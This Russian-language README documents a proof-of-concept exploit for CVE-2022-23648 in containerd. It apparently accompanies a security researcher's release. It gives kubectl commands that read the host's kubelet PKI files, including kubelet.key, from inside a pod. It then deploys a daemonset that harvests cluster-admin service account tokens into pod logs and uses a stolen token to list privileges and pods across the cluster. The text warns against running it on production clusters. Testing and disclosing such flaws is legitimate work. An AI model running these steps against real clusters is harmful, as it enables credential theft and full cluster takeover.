
POC для CVE-2022-23648
Это доказательство концепции для CVE-2022-23648 от @_fel1x. Информация об обнаружении здесь, информация о CVE здесь, а также блог с дополнительной информацией и идеями по смягчению последствий здесь. В Containerfile содержится необходимая информация, а цель VOLUME можно изменить, чтобы опробовать различные пути.
Проще всего продемонстрировать его работу с помощью KinD, в котором есть уязвимые образы.
Если на узле по какой-то причине нет большого объёма данных в /var/lib/kubelet/pki, этот тест должен быть безопасным.
kind create cluster --image=kindest/node:v1.21.1kubectl create -f pod-manifest.yamlkubectl exec poctest -- ls /var/lib/kubelet/pki/И если вы получите файлы, включая kubelet.key, значит, сработало :)
ПРИМЕЧАНИЕ: Не пытайтесь проделывать это на production-кластере. Уязвимый Containerd может скопировать большой объём данных в под атаки и исчерпать дисковое пространство. Кроме того, это выведет токены SA с правами cluster-admin в журналы пода, которые, скорее всего, будут отправлены в систему логирования в открытом виде
Будет запущен daemonset, который пытается перечислить все токены сервисных аккаунтов Kubernetes на узле и вывести их в журнал пода, если обнаружится, что это токен cluster-admin.
kubectl apply -f ds.yamlkubectl --token="$(kubectl logs -l app=poctest | head -1)" auth can-i '*' '*' -AЕсли будет выведено yes, поздравляю: у вас есть недолговечный токен сервисного аккаунта cluster-admin. Выполните:
kubectl logs -l app=poctest | head -1 | awk -F\. '{print $2}' | base64 -d — чтобы увидеть, какой это SA
kubectl --token="$(kubectl logs -l app=poctest | head -1)" get pods -A
kubectl --token="$(kubectl logs -l app=poctest | head -1)" auth can-i --list